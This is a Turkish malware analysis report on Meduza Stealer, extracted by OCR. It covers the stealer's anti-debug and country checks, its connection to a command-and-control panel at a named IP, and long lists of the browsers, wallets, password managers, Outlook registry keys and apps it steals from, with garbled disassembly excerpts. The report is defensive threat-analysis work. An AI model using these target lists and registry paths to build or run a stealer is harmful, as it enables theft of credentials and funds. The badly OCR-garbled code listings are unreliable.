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On Bakis

Gizemli bir aktor tarafindan hazirlanan Meduza Stealer, Windows kullanicilarini ve
kuruluslarini hedef alacak sekilde 6zel olarak tasarlanmigtir. Su an icin yalnizca belirli
on Ulke haricinde etkin oldugu bilinmektedir. Meduza Stealer'in ana hedefi kapsamli
veri hirsizhgidir. Kullanicilarin tarama etkinliklerini ele gegirerek tarayiciyla ilgili ¢esitli
verileri toplar. Bu veriler, kritik oturum_acgma bilgilerinden degerli tarama gec¢misi
kayitlarina ve 6zenle secilmis«yer imlerine kadar genig bir yelpazeyi kapsamaktadir.
Kripto cuzdani uzantilari, sifre yoneticisi ve iki faktorli kimlik dogrulama uygulamalari

dahil.olmak Uzere bu tehdide kargi savunmasizdir.
Bu koétu.amacli yazilim;

o Web tarayicilarina kaydedilen kimlik bilgilerine,

o Web tarayicilarina kaydedilen kripto cuzdan-bilgilerine,

o Web tarayicilarina kaydedilen ¢erez bilgilerine,

o Sifre yoneticisi uygulamalarina,

o ki faktérl( kimlik dogrulama uygulamalarina,

e Kayitli Outlook hesaplariyla ilgili bilgilere,

e Bilgisayardaki sistem bilgilerine,

e Bilgisayardaki bazi uygulamalarin tuttugu kimlik bilgilerine,

e Bilgisayar belgelerine,

Erigsim saglamaktadir.
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Meduza.exe Analizi

Adi meduza.exe

MD5 C6068C2C575E85EB94E2299FCO05CBF64

SHA256 0d0a4622c58f3f17d16fb5cbd0aa5403bc614ca5884 7b4a725f432d
202a55454

Dosya Turu PE64 /| EXE

Genel Bakis

Meduza Stealer, zararli eylemlerine baglamadan 6nce bir anti-debug teknigi olarak
IsDebuggerPresent API kullaniimistirzsBunu, yapmasindaki amag¢ analistin isini
zorlastirmaktir._Ardindan ulke \kodlarini ve Windows isletim sistemi siiriimiini
kontrol etmektedir. Kontrollerin saglanmasi durumunda asil zararh.islemierin yapildigi
fonksiyonlar ¢agriimaktadir. Zararlinin amaci; sistem bilgilerinin, tarayici verilerinin,
sifre yoneticisi ayrintilarinin, madencilikle ilgili kayit defteri bilgilerinin ve yUuklG
uygulamalara iligkin ayrintilarinin toplanmasini icermektedir. Bu detayli bilgilerin tima
toplandiktan sonra' paketlenmektedir.” Saldirganin komuta kontrol sunucusuna
yiklenmeye hazir hale gelmektedir. dslemler tamamlandiktan sonra arka planda

program kendini silerek zararli eylemlerine son vermektedir.

Meduza Stealer isleyis Semasi

- - Gt
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Bilgileri Sunucuya Yiikle

Sekil 1 — Zararlinin Isleyis Semasi




Zararlinin dil kontrolu yapilarak ¢alistirilmasi engellenen ulkeler:

Rusya Ermenistan Belarus
Kazakistan Ozbekistan Tacikistan
Moldova Kirgizistan Turkmenistan
Glrcistan

Zararlinin hedefledigi sifre yoneticileri ve iki faktorlt kimlik dogrulama uygulamalari:

Sekil 2 — Dil Kontrolii Yapilan Ulkeler Tablosu

GAuthAuthenticator Authenticator SafePal Guarda
EOS Authenticator BrowserPass KeePassXC 1Password
Trezor Password Dashlane Bitwarden LastPass
Manager

Keeper Nordpass RoboFrom Splikity
MYKI Zoho Vault Authy

Sekil:3=Zararlinin Hedefledigi Sifre Yoneticileri ve iki faktérliitkimlik dogrulama'Listesi

Zararlinin hedefledigi masaustu uygulamalari:

Discord Telegram Jaxx_Liberty

Sekil 4 — Zararlnin Hedefledigi Masatistii Uygulamalar Listesi

Zararlinin hedefledigi tarayicilar:

Microfost Edge Mozilla Firefox Pale Moon Suhba RockMelt
Google Chrome Chromium Amigo QQBrowser Vivaldi
CrytoTab Browser TorBro Browser Cent Browser| Opera Brave Qld
Chedot Browser Torch 7Star Tencent OperaGX
Privacy Browser Yandex Browser 360 Browser | Orbitum Xpom
Comodo Dragon Epic | OperaBrowser SalamWeb | Kinza Xvast
Nichrome Slim Browser Chromodo Go Browser Maxthon
Mail.Ru Atom CocCoc Browser | Coowon

Sekil 5 — Zararlinin Hedefledigi Tarayicilain Listesi
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Zararlinin hedefledigi kripto ciizdanlar:

Electrum Electrum-LTC Exodus ElektronCash MultiDoge

Jaxx_Desktop_Old | Atomic Binance Coinomi Monero

TronLink MetaMask Wasabi Yoroi DashCore
Wallet

Niftywallet Mathwallet Coinbase Guarda EQUALWallet

JaxxLiberty BitAppWallet iWallet Wombat MeWCx

Guidwallet RoninWallet Neoline CloverWallet Ligualitywallet

Terra Station Keplr Sollet AuroWallet PolymeshWallet

ICONex Harmony Coin98 EVER Wallet KardiaChain

Rabby Phantom BraveWallet | Atomic Paliwallet

Boltx Xdefiwallet NamiWallet | MaiarDeFiWallet | Goby

Solflare Cyanowallet TezBox Temple

BinanceChainWallet | Blockstream Green | Daedalus Waveskeepe

Sekil 6 — Zararlinin Hedefledigi Kripto Clizdanlarin Listesi

Zararlinintopladigi sistem ayrintilari:

Sistem Bilesenleri Ayrintilari Bilgisayar Adi
CPU Detaylan Calisma Yolu
Cografi Konum GPU
Donanim Kimligi Public IP

isletim Sistemi Ayrintilari RAM Detaylari
Ekran Gériintiisii

Saat Dilimi

Ekran Cozinirlik Ayrintilan

Zaman

Sekil — 7 Zararhnin Topladigi Sistem Ayrintilari
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Dinamik Analiz

Zararl, herhangi bir zararli aktivite géstermeden dnce IsProcessorFeaturePresent
APl ile galistigi cihazin igletim sisteminin Windows 7 veya alti olup olmadigini kontrol

etmektedir.

fastcall sub 13

urityfailure( (struc PTION_POINTERS *)&ExceptionInfo);

Sekil 8 — IsletimySistemi Stiriim Tespitinin€ldeEdilmesi

Ardindan zararli, bilgisayara ait islemci ve mimari bilgilerini elde etmektedir.

CSFEGF52 20 vmovdqu wymm2,yword ptr ds:[rdx+20] rdx+20:L"0M; .EXE; . BAT; .CMD; . VBS; . VBE; .J5; . J5E; . WSF; .WSH; .MSC™
CSFEGFSA 40 vmovdqu ymm3,yword ptr ds:[rdx+40] rdx+40:L"D;.VBS; .VBE; . 5;.JSE; .WSF; . WSH; .MSC™

CSFEGFG2 60 vmovdqu ymm4,yword ptr ds:[rdx+60] rdx+60:L". JSE; . WSF; . WSH; .MSC"

CSFD7F09 vmovdga yword ptr ds:[rcx],ymmi

CSFD7F51 20 vmovdqa yword ptr ds:[rox+20],ymm2

CSFD7F59 40 wvmovdga yword ptr ds:[rcx+40],ymm3 rex+40:L" 1"

CSFD7FE1 60 wvmovdqa yword ptr ds:[rcx+60] ,ymm4

CSFEGFSA 80000000 vmovdqu ymml,yword ptr ds:[rdx+80] rdx+80:L"MSC"

CSFEEF92 AQ000000 vmovdqu ymm2,yword ptr ds:[rdx+A0] rdx+A0: L"CHITECTURE=AMDE4"

CSFEEF9A CO000000 vmovdqu ymmz,yword ptr rdx+C0]

CSFEGFA2 EQ0D0D0D00 vmovdqu wymm4,yword ptr ds:[rdx+E0] rdx+E0: L"IFIER=Intel64 Family & Model 165 Stepping 2, GenuineIntel”

CSFD7F89 80000000 vmovdga yword ptr ds:[rcx+80],ymml
CSFD7F91 AQOO0000 vmovdga yword ptr ds:[rcx+A0],ymm2

Sekil 9 — [slemci ve Mimari Bilgilerini Elde Edilmesi

Meduza Stealer, bir makineye basaril bir sekilde sizdiginda gerceklestirdigi ilk adim
cografi konumu kontrol etmektir.” Kurbanin cografi konumu hirsizin 6nceden

tanimlanmis listesinde yer aliyorsa (Bkz. Sekil 2) zararli yazilim ¢alismamaktadir.

‘ . v 74 1D | & medusa.13FB2E780
: ° 48:88D7 | mov rdx,rdi rdx: "RU", rdi:"RU"
' - 48:88CB |mov rcx,rbx rcx: "RU"
' ° ES8 72070000 | €all <medusa.country_code_check_list>
H . 48:83C3 20 | add rbx,20
—>e 48:895C24 30 ‘mv qword ptr ss:[rsp+303,rbx [rsp+30]:"RU"
i il 48:83C7 20 add rdi,20 rdi:"RU"
i B 48:3BFD | cmp rdi,rbp
° ~ 75 3 | ine medusa.13FB2E763
< 48:895C24 28 |mov gword ptr ss:frsp+2s8j,rbx [rsp+28]:"RU"
° 48:8BD3 |mov rdx,rbx rdx: "RU
° 48:88CB |mov rcx,rbx rcx: “"RuU"
o E8 60320000 | €a’1 medusa.13FB319F0

Sekil 10 — Ulke Kodlarina Bakilarak Hedef Ulke Kontrollerinin Elde Edilmesi
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Zararl Sekil 11°de sunucu kontroll gergeklestirmektedir. Sunucu ayakta ise kotu

niyetli iglemlerine devam etmekte olup aksi durumda iglemlerine son vermektedir.

B9 02020000 mov ecx,202

Jea rdx,qword pt s:[13F1O08D48]
call qword per E [<&wsAStar‘tup>]
Test eax,ea:

jne medusa. 13!:096856

xor r&d,rs&d

Tea edx.gword ptr ds:lrax+i]

<. ebx
€all gword ptr ds:[<&socker=]
mov gword ptr ds:[13F108D40],rax

movzx ecx,word ptr ds:[l;rl]ocloo] 00000001L3F1LOCIDO :

r : [=&hTton:
mov word ptr ds:[13F108EE2],ax 00000001 3F1LOSEE
Tea rdx,gword PEr ds:[lsrloclsoj 00000001 2FLOCLE
B T

=
gmovae rdx.qword prr ds: [13F10c130] OOQOOQOL3IFLOCLED:
Tea rs o ptr : [12F108EE4]

-137.203.224"
.137.203.224"

call qword prr ds: [=ainet_prton-]

Jea r&d,qword ptr s [rbx
Jea rdx,qword ptr E [13F108£EO]
mov_rcx,qword prr :[12F108D40]

€all qword ptr ds: [<&connect>]
cmp eax,FFFFEFEE

jne medisa.l2F0968D3

mov rcx,qword ptr ds:[12F108D40]
€31l gword ptr ds:[<&closesocket=]
FF15 522D0500 €all gword ptr ds:[<&WSACleanup>]

Sekil 11 —Zararlinin istek Attigi IP Adresine Yapti§i Baglantinin Elde Edilmesi

Takip edilen adreste panelistegi /auth/login dizinine yénlendirmektedir.

79.137.203.224/autl jin

Chrome glncellemelerini almak igin Window

é;_,‘ ‘@ HOMS  LO< LIST  DASHBOARD  BUL>  TOOLS  <RYPT &=

| vs<anamc

| rasswore

Sekil 12 — Zararlininfletisime Gegtigi Web Panel Adresinin Elde Edilmesi

Zararli EnumDisplayDevices API ile ‘gegerli oturumdaki goruntuleme aygitlari

hakkinda bilgi almaktadir.

a0 66:897C24 34 mov word ptr ss:[rsp+24[,di
. 33p2 xor edx,edx edx:L"vMware SVGA 3D"
L ] 41:88 42030000 mov r&d,342
- 48:8D4C24 36 lea rcx,qword ptr ss:[Irsp+36]
. E8 F4310300 €all medusa.13F0CE510
. 44 :8D4F 01 lea r9d,qword ptr ds:[rdi+1]
- 4C:8D4424 30 lea r8&,qword ptr ss:[Irsp+30]
®| O 3302 xor edx,edx edx:L"vMware SVGA 3D"
L] 33¢9 XOr ecx,ecx
. FF15 C9E10400 €all qword ptr ds:[<&EnumbisplayDevicesw=]
B5C0O test eax,eax
B v 74 OF je medusa.l13F098342
48:8D5424 74 ea rdx,qword ptr ss:[rsp+74]
re 48:88BCB mov rcx,rbx
. E8 EOCEFEFF call medusa.13F088220
-e ~ EB 15 imp medusa.13F09B357

Sekil 13 — Goriintiileme Aygitlari Hakkinda Bilgi Elde Edilmesi

>
R . =" —




Kripto varliklariyla ile ilgili zararli ilk olarak sirasiyla tarayicadaki eklenti ve cihazda

donanimsal olarak bulunan hedef kripto ciizdani belirlemektedir. ilgili hedef coin

cuzdanda arandiktan sonra parametre olarak kripto para ismi, cizdan ismi ve cuzdan

ile ilgili dosyanin ismi verilmektedir.

obdbdbdiSFéOiédé

42:803C00
» 75 F6

48:

48:

ES

8D95 80000000
8D8D B8080000
EF480200

00 cmp
jne
lea

lea

byte ptr ds
medusa.13FS5015F4
rdx,qword ptr 5;:E"bpv::]
rcx,qword ptr ss:grbp+888
€all medusa.13F525F00

: [rax+rs],c

Sekil 14 — Hedeflenen Kripto Ciizdanlarda Coin Aramalarinin Elde Edilmesi

search_coins

CreateDirectoryA API ile crypto klasorinin icerisine.coin ismiyle yeni bir klasor
olusturulur. SHGetFolderPathA API ile APPDATA klasorunun /dizini alinmaktadir,

IstrcatA ile sonuna clizdan ismi dizin olarak eklenmektedir. Cluzdaninsmutlak dizini

elde edilmektedir..Cizdan datalarinin bulundugu dizine gelmektedir.-Kripto para ile

ilgili verilereryptoklasorunun icine kopyalanmaktadir.

bbbb: UF1FE400 UUUDUUU
48:BBC1

4C:ED15 CE15FEFF
49:B3FE OF

OF&7 0C010000

<

47:BB8CE2 BOS00COD
4D:03CA
41: FFEL1

E

BE4A 0B
44:0FE74A 0C
44:0FBGE52 OE
4C: 8300
8348 08
6644:8948 0C
44: B850 0E

OFB74A 08
44:0FEG4A DA
4C: E900

66: 8948 08
448848 0A

66666666 OFLF8400 00{ no

rnog ord ptr as:|
mov rax,rcx
1ea rio, q\mrd ptr ds:[13FE20000]
cmp rg,
Ja meduza 13FE9EBSD
rd r ds:[rax+rax],ax
'nov rE!d d\.\ord ptr ds:[ri0+r8+4+C5080]

rax+rax],ax

add r9,rio

jmp ra

ret

nop

mov rg8,qword ptr ds:[rdx]
mov ecx,dword ptr dx
MOVZ X rgd word ptr

mov gword ptr ds:[rax] ro
mov dword ptr ds:[rax+ a s BCX
mov word ptr ds:[rax+cC] r9\
mov byte ptr ds:[rax+E], rlm“
ret

mov rg,qword ptr d
MOVZ X ecx word ptr
MOVZ X rgd,byte ptr d
mov qword ptr ds:[rax],r8
mov word ptr ds:[rax+8],cx
mov byte ptr ds:[rax+a] rsl"
ret

movzx ecx,word ptr ds:[rdx]
mov word ptr ds: [rax] ,cx
ret

nop

rax:"atomic wallet”

rad: "atomicl\Local Storage'

ra:"atomichiiLocal Storage’} Teveldb”

rdx:"atomic wallet”
rdx+8:"allet

rad: "atomich\Local Storage‘\‘leveldb
rax:"Atomic wallet"

rax+s:"allet

rdx:"atomic wall
rdx+8:"allet
rad: "at )
rax:"Ato
rax+s8:"allet”
Jern

rax+A

rdx:"Atomic wallet™
rax:"Atomic wallet™

Sekil 15 — Zararlinin Hedefledigi Kripto Ciizdanlarin Elde Edilmesi

Zararli tarayicida bulunan tim eklentilerin gerezlerini elde etmektedir.

-

of: BBFZ ’

mov r‘s‘i,r'clx rsi:&"extensio
L H v rbx,rcx
o 899424 B000000C mov gword ptr ss:lrsp+BOJ,rdx rsp+B0] :&"E
®39 00 cmp byte ptr -[|<x5,
o) OC 1ne medusa. 13FACESF6
®501 01 ov byte ptr ds:[rcx],
#3 5E290000 Cﬂ11 medusa 13FAD1250
®3:8943 08 mov qword ptr ds:[rbx+8],rax
)38 01 cmp by&e ptr :;.[rbx],_

e

n Cookies

xtension Cookies"

Sekil 16 — Tarayicida Bulunan Eklentilere Ait Cerezleri Elde Edilmesi

Teveldb”

Tleveldb™,

rdx+A:"let
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Buna ek olarak, zararli Chrome tarayicisinda tutulan network g¢erezlerine erismektedir.

ES 5AD30400 call ﬁedui&l}‘i?EA}O(
mov rd slirse

48:885424 20 x,qword ptr ]

40:88C6 mov r§,rid

49: MOV _rCX,r12

ES 3AD30400 Call medusa.13FSTEA3D

33¢C0 XOr eax,eax

6641: 8907 mov word ptr ds:[ris),ax

48:893€ mov qword ptr d 1. cos R ooe
48:88C6 moV rax,rs

4C:886424 38 mov ri2,qword ptr t kie
48:887C24 40 mov d1,qword ptr

48: 88AC24 80000000 mov rbp,qword ptr -
4C:887424 30 mov ris4,qword ptr

48:83C4 48 add rsp,4

41:SF pop ris

41:50 pop ri3

Sekil 17 — Chrome’da Tutulan Network Cerezlerini Elde Edilmesi

Tarayici islemleri tamamlandiktan sonra programin siradaki hedefi Outlook verileridir.
Bu asamada zararli, Windows Kayit "Defterindeki Outlook kayit adreslerinde
RegOpenKeyEXA APl ile HKEY CURENT_USER icin KEY_READ izni ile parametre
olarak verilen registry dizinleri icin handle almaya caligmaktadir. ERROR_SUCCESS
degeri return olursa RegEnumValueA API varsayilana ek olarak handle ve_verilerin
icine yazilacagl char array degiskeni verilerek ¢cagri yapiimaktadir. Bu ¢agri while
dongust. icerisinde return degerinin' degili olacak sekilde ayarlanmigstir.
ERROR_SUCCESS degeri alindigi surece ¢alisacaktir;

57 push rdi rdi:"Profiles

48:83EC &0 sub rsp,s0

48:8B05 4D640700 mov rax,gword ptr ds:[13F4FBBEO]

48:33C4 Xor rax,rsp

48:894424 50 mov gword ptr ss:ffrsp+sof,rax

48:8BFA mov rdi,rdx rdi:"pProfiles

48:8BF1 mov rsi,rcx rox:&"SOFTWAREN WM crosofty\ofFicel\\15. 0% \out Took\\Profiles\\OutTook\9375CFF0413111d3B88A0010462A6676"

48:C74424 30 00000000 |mov qword ptr ss:[rsp

48:8ED1 mov rdx,rcx rox: &"SOFTWARE\'\Microsofth\officel\15. 0\ \outTook\\Profiles\\Outlook\\9275CFF0412111d3E88A00104B2A

48:8379 18 10 cmp gword ptr ds:[rcx

72 03 jb meduza.13F4827E7

48:8B11 mov rdx,qword ptr [rcx]: "SOFTWAREY\\Microsoft\\OFficei 15, 0\ \outTook \\Profiles\\Outlook \\9375CFF0413111d3E88A00104B2A6676

458:8D4424 30 lea rax,gword ptr

48:894424 20 s:

41:E9 13000200

45:33C0

48:C7C1 01000080 mov_rox,F 001 rex:&"SOFTWAREN\M1crosofth\officey\15. 0\ \outTook \\Profiles\\outlook)\9275CFF0413111d3B88A00104B2A6676"

FF15 39630500 €3l gword ptr ds:[<&RegOpenkKeyExA>]

8BDS mov ebx,eax

48:8B4C24 30 mov rcx,gword ptr ss:frsp+30]

48:85C9 test rox,rcx rox:&"SOFTWAREN WM crosofty\ofFicel\15. 0% \outTook\\Profiles\\outTook\,9375CFF0413111d3B88A0010462A6676"
« 74 06 je_meduza.13F4827ED

FF15 17680500 call gword ptr ds: [<&RegCloseKey>]

Sekil 18 — Zararlinin HandleniAlmak Istedigi Kay:t Adresinin Elde Edilmesi

e SOFTWARE\\Microsoft\\Windows Messaging
Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676

e  SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows
Messaging
Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6
676

Sekil 19 — Zararlinin Handleni Almak Istedigi Kayit Adresleri
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Zararli, kayit adreslerini okuduktan sonra C2 sunucusu ile iletisime gegmektedir. Fakat

bunun 0Oncesinde

InternetOpenUrlA  API

ile apil.]ipify[.Jorg adresine istek

gondererek kurbanin public IP’sini dondurmektedir.

JNe BeaUSa.lSFDF /o8
XOrps xmm, xme0
mOVUPSs xmmword ptr

——
o

mov gword ptr ds:
8§ OF0000C mov gword ptr «

mov byte ptr
1000000 mov Oword ptr :
00 jmp medusa.l3FDF7, AS"
0000 mov gword ptr

E4EOQT00 1 cmp gword ptr ¢
FE4D070Q cmov
8 10 <y

L

bx,qw
28 e e
00018884 mov o:-uld ptr
0400700

wor d pu

0500 un q.om ptr ds: (el
mov 1

0000000 | mov u..o.u p(v et
test

jre medusa. 13F0F7683
Xorps xmmO, xma0
movups xsmword ptr
mov qword ptr 1
s 0F0000Q mov Gword prr
mov byte ptr

14, xom0

13&&6(465)

iusouso di:&"Accept: text/hrml; text/plain;

:[rbx] bx:&"hetps://api. ipify.org”, x]:"heep

: [13FE6C460)

INternetopenul

3. ax

,‘Sekil 20 - Cihazin Public IP’sini Elde Edilmesi

Zararll, RtlIGetVersion ve GetNativeSystemInfo API'lerini kullanarak yerel-sistem ve

surum,bilgileri hakkindaki bilgileri alir.

0000000

48:808D 1C0G60000

4C:898D 1070000

48:800D DED20500

FF15 65090500

48:8D15 B9D20500
C8

FF15 20090500

#|| 000000013FFO887

| 0000000 2 EB B95C0300

®| 0000000

.

| 0000000

®| 0000000 48:85C0
St 0000000: 74 1E

| 0000000

@/ 0000000 48:8B

®| 0000000

| 0000000 48:85C
r----@| 0000000 v 74 09

48:8D8D 08060000

Tea rcx,qword ptr 5s:[rbp+6ic]

call medusa.13FF3E510

mov qword ptr ss:[Irbp+71cf,rl5

lea rcx,qword ptr ds:[lBFFSSB?D

€all gword ptr ds:[<&GetModuleHandlew:]
Test rax,rax

;le medusa. 13FFOBBEE

ea rdx,qword ptr ds:[13FF65B60]

mov rcx,rax

€all gword ptr ds:[<&GetProcaddresss]
test rax,rax

;ie medusa.13FFO8BBE

ea rcx,qword ptr ss:[frbp+60&]

000000013FF65B70:L " ntd11.d11"

000000013FF65B60: "Rt 1GetVersion"

®|| 0000000 FFDO call rax
0000000 48:8D8D 30070000 |lea rcx,qword ptr ss:[rbp+730]
ol 00000001 3FFQ8ECS 48:8095 08060000 |lea rdx.aword ptr ss:frbp-508l
] E8 94D5FDFF call medusa.l3FEESFO0
® €745 08 01000000 |mov dword ptr ss:[rbp+&J,1
® 48:8D8D 58080000 |lea rcx,qword ptr ss:[rbp+858]
® FF15 30080500 call gword ptr ds:[<&GetNativesSystemInfox]
Eg—e 90 nop
. 4C:8D8D A50D0000 |lea r9,qword ptr ss:[rbg DASH
™ 44 :8685 0C060000 |mov r&d,dword ptr ss:[rbp+60C]
® 8 90 nop
o 000000013 FFCI:JJCI 49:FFC9 dec r9
Sekil 21 — Yerel Sister ve Stirtim Bilgilerinin Elde Edilniesf
Zararli, GetComputerName APl ‘kullanarak kurbanin makinesinin  ismini

toplamaktadir.

48:8D4C24 40 Ie%]l\x .quora per e A :

FF15 BDOB0500 €all qword prtr <metuseruamew>

ssco Test eax,eax cax: [ EEGEE

je medusa, 13FE2846E

45 805424 40 1ea rax,qword ptr ss:frsp+40]

48 mov_rcx,rbx rbx:

8’ BJFDFEFF gal) medusai3FE18220 _
~rEB 15 |imp medusa.13re28483

Sekil 22 — Kurban Cihazin Isminin Elde Ed/lmeSI




A

Buna ek olarak, zararlinin GPU, RAM ve Sekil-7'deki diger sistem bilgilerini topladidi

goOrulmektedir.

@) UDUUUDULIF 3 C 41:B8 UbLULUUO mov r&d,o
e 000000013 48:8D15 78790500 |lea rdx,qword ptr ds:[13F454D48] 0D0000013F454D48: "system”
e|( 00000001 48:8D8D 40040000 |Tlea rcx,qword ptr ss:|[rbp+440]
e| 00000001 ES8 248BFDFF call medusa.13F3D5F00
| 00000001 90 nop
e/ 00000001 48:8D95 40040000 |lea rdx,qword ptr ss:[rbp+440]
| 00000001 48:8D0D 05BBO600 |lea rcx,qword ptr ds:[13F468EF0]
®| 00000001 EB CO14FEFF €all medusa.13F3DEBEO
e/ 00000001 48:8BF8 mov rdi,rax rax:"gpu"”
ef 00000001 48:B8 22511EF925CS mov, rax,42CFCO25F91E5122 rax:"gpu”
®f 0000000 41:88 06000000 mov réd,s
| 0000000 48:8015 B4740500 |lea rdx,qword ptr ds:[13F454D48] 000000013F454D48: "system”
®f 0000000: 48:8D8D E0040000 |lea rcx,qword ptr ss:[rbp+4e0]
#| 0000000 EE 6086FDFF €all medusa.13F3D5F00
& 0000000 a0 nop
| 0000000 48:8D095 E0040000 |lea rdx,gqword ptr ss:|[Irbp+4£0]
| 00000001 48:8D00D 41B60600 |lea rcx,gword ptr ds:[13F468EF0]
®| 00000001 EE FCOFFEFF €all medusa.13F3DESBO
#| 0000000 488 mov rdi,rax rax:"ram"
®| 00000001 48:38 3?4UUEF925C mov rax,42CFC925F9064037 rax:"ram"

SekKil 23 — Zararlinin Sistem Bilgilerinin Elde Edilmesi

Hedef bilgisayardaki Telegram uygulamasi ve kayit defteri anahtarini InstallLocation

degeri aracihgiyla kontrol etmektedir.

f 8 75 F6
48:805424 20

48:800D0 AAA20900

E8 15410000

U MEuUSd. L3FSFESS
mov rax,qword ptr ds:[r&]
Tea rcx, gwurd ptr _ss:[Irsp+68[
mov qword ptr ss: [r’sp+205’ rex
mov rod,20019

xor rBd,rad

mov rdx,rax

mov rcx,rlo

Test eax,eax
jne medusa.l3F8FBB11

cmp gqword ptr ds:[rdi+18],10
jb medusa.13FBFBIF9

mov rdi,qword ptr ds:[rdi]
Tea rax,gword ptr _ss:[Irsp+60[)
mov qword ptr 5s:[Irsp+28f,rax
Tea rax,awor’d ptr_ss:@rbp-800
mov qword ptr ss:[rsp+20],rax
lea r9,qword ptr ss:
xor ré&d,r8d

mov rdx,rdi
mov_rcx,qword ptr ss:frsp+68]

rsp+70]

test eax,eax
jne medusa. 13F8FBB11
mov r&d,dword ptr ss:[irsp+60]

€all gword ptr ds:[<&RegOpenkeyExA=>]

€all qword prtr ds:[<&RegQueryvalueExa>]

jne meausa. 13F3l=1000
lea rdx,qword ptr ss
lea rcx,qword ptr ds

call medusa. 13F3F SFOO_

:"SOFTWARE\\Microsoft

Microsoft

1 " SOFTWARE

i:"InstallLocation”

i:"InstallLocation”

1 "SOFTWAREN\Microsoft®

\Wwindows"

windows

Wi ndows

‘\Currentversion'

\Currentversion\}

|
13F48€090)

‘\uninstall®

Currentversion\\uninstall

uninstally!

Sekil 24 =Zararli Bilgisaydrdaki Telegram Varliginin Elde Edilmesi

Saat dilimi bilgileri,

elegram

N {53F49750-6209-4FBF-9CAB-7A333C87D

: "SOFTWAREY\Microsof t'\\windows \\Currentversion\\Uninstal1\}\{53F49750-6209-4FBF-9CAB-7A333C87D

{53F49750-6209-4FBF-9CAB-7A333C87D

{53F49750-6209-4FBF-9CAB-7A333C87D

SYSTEM\CurrentControlSet\Control\TimeZonelnformation

kayit defteri anahtarina erisilerek ve TimeZoneKeyName API ¢agrilarak alinmaktadir.

45:33c0
48:88D0
49:BBCA
FFlS 29060400

DFSS 22010000
48:837F 18 10

«

8 60
1894424 28
:8D45 80
1894424 20
:8D4C24 70
:33c0

:8BD7
8:8B4C24 68
FF15 E6D50400
83C0

OF85 E7000000
44:884424 60
41 :FFC8
OF57C0

<

xor r8d,r8d

mov rdx,rax

mov rcx,rlo

€all gword ptr ds:[<&RegopenkeyExA>]
1est eax,eax

jne medusa.l13F8FBB11

cmp gword ptr ds:[rdi+18],10

jb medusa.l13FBFBOF9

mov rdi,gword ptr ds:[rdi]
lea r'ax,gwor'd ptr ss:[irsp+60[
mov qword ptr ss:[rsp+28],rax

Tlea rax,gwurd ptr _ss:|[Irb .-30]

mov gword ptr ss:[rsp+20],rax

lea r9,qword ptr ss:|rsp+70]

xor réd,r8

mov rdx,rdi

mov_rcx,qword ptr ss:|[irsp+68]

€all gword ptr ds:[<&RegqueryvalueExA>]
test eax,eax

jne medusa.13F8FBB11

mov rid,dword ptr ss:[irsp+60]

dec r8

xorps xmmQ, xmmO

1 "SYSTEM

:"SYSTEMY

Currentcontrolset

i:"TimeZonekeyName"

i:"TimeZoneKeyName"

Sekil 25 — Zararl Bilgisayardaki Saat Dilimi Bilgilerini Elde Edilmesi

CurrentControlset))

:"SYSTEM\\CurrentControlset'\Control\\TimeZoneInformation"

‘control\\TimezoneInformation'

TimeZoneInformation'

Controli}




Zararli, Discord uygulamasina 6zel olarak ¢alisan bazi alt programlara ve discord

kullanici hesaplarinin tutuldugu accounts.xml dosyasina erismeyi hedeflemektedir.
Ayni zamanda, liberty jaxx cuzdaninin masaustu uygulamasina ait olan veritabani

dosyasina erismek istemektedir.

74 1D ]" medusa. 13FS2E780
+48: 8807 -no\. rdx,rdi ix: "0 rdcanary”, 11: "0 C IPTE
48:88C8 rex,rb e
E8 72070000 cu'l'l <r¢dusa.(ountry_codgcneck_hsb
48:83C3 20 add rbox,
48:895C24 30 mov q-\o'd ptr :frsp+30§,rbx
48:83C7 20 add 2 | '}
48:3BFD Cmp r
~L75 €3 [ine medusa 13F52€763 |
48:895C24 28 mov Qnord ptr ss:frsp+28§,rbx rs
48:88D3 mov rdx,ro
ve?77 17 jal medusa.13F57ESGD
F3:0F6F0A movdqu xmml,xmmword ptr
F342:0F6F5402 FO movdqu xmm2 , xmmword :)t" ent
F3:0F7F09 movdqu xwo*d ptr ds
F342:0F7F5401 FO 'no»dqu xmmword ptr 1,;_ +r - - u
49:83F8 20 cmp r5
00000001 3 [ 17 Jja -nedusa 13F57£B€D
000000013FS7EBS6 FB OF6F0A | movdqu xmel, xmmword ptr ds: WA Indexeds\\FiTe__0. indexeddb, Teveldb™
1 F342:0F6F5402 FO movdqu xmm2,Xxmmword pTr ( do. 1evelidd
F3:0F7F09 movdqu xmmword ptr ds:
F342:0F7F5401 FO movdqu xmmword ptr ds tem3
c3

rdx om. 1fberty. jaxx Indexedos file_0 jexeddb, Teveld

4CI0F46CH

Sekil 26 = Zararlinin Erismek Istedidi Bazi Masaiistii Uygulamalarin Elde Edilmesi

Zararli, Steam istemci verilerini \SOFTWARE\Valve\Steam" kayit defteri anahtarini
okuyarak almaktadir..Steam, Valve Corporation tarafindan olusturulan ve oncelikle
video oyunlarriigin kullanilan bir dijital dagitim platformudur. Bu kayit defteri anahtari;
kullaniciya 6zel ayarlari, oyun bilgilerini, oturum agma verilerini, oturum bilgilerini ve

Steam istemcisiyle iligkili diger yapilandirma verilerini saklamaktadir.

45:8800 mov Tqword ptr ds:[r&] rax: "SOFTWARE\\valve\\steam" 1

48:8D4C24 68 lea rcx, gwﬂrd ptr_ss:[Irsp+6s[f

48:894C24 20 mov gword ptr ss:|frsp+20],rcx

41:89 19000200 mav rgd 2001)

45:33c0 xor ra

48:8BDO mov rdx rax rax:"SOFTWARE\\valve\\Steam™

49:8BCA mov_rcx,rl

FF15 29060400 call qwnrd ptr ds:[<&RegOpenkeyExA>]

85C0 Test eax,eax eax:"SOFTWAREY\valve\\steam"
« OF85_ 22010000 jne medusa.13F8FBB11

48:837F 18 10 cmp gword ptr ds:[rdi+18],10
-« 72 03 jb medusa.13FBFB9F9

48:8B3F mov rdi,qword ptr ds:[rdi] rdi:"steampath”

48:8D4424 60 lea rax, gwcrd ptr ss:frsp+e0]

48:894424 28 mov gword ptr ss:|frsp+28&],rax

48:8D45 BO lea rax, gwcrd ptr ss:frbp-80]

48:894424 20 mov gword ptr ss:|frsp+20],rax 5

4C:8D4C24 70 lea r9, qwcrd prr ss:irsp+ 70l

45:33c0 xor r&d,

48:8BD7 mov rdx, rch rdi:"steamrPath”

48:884C24 68 ov_rcx,qword ptr ss:|Irsp+68]

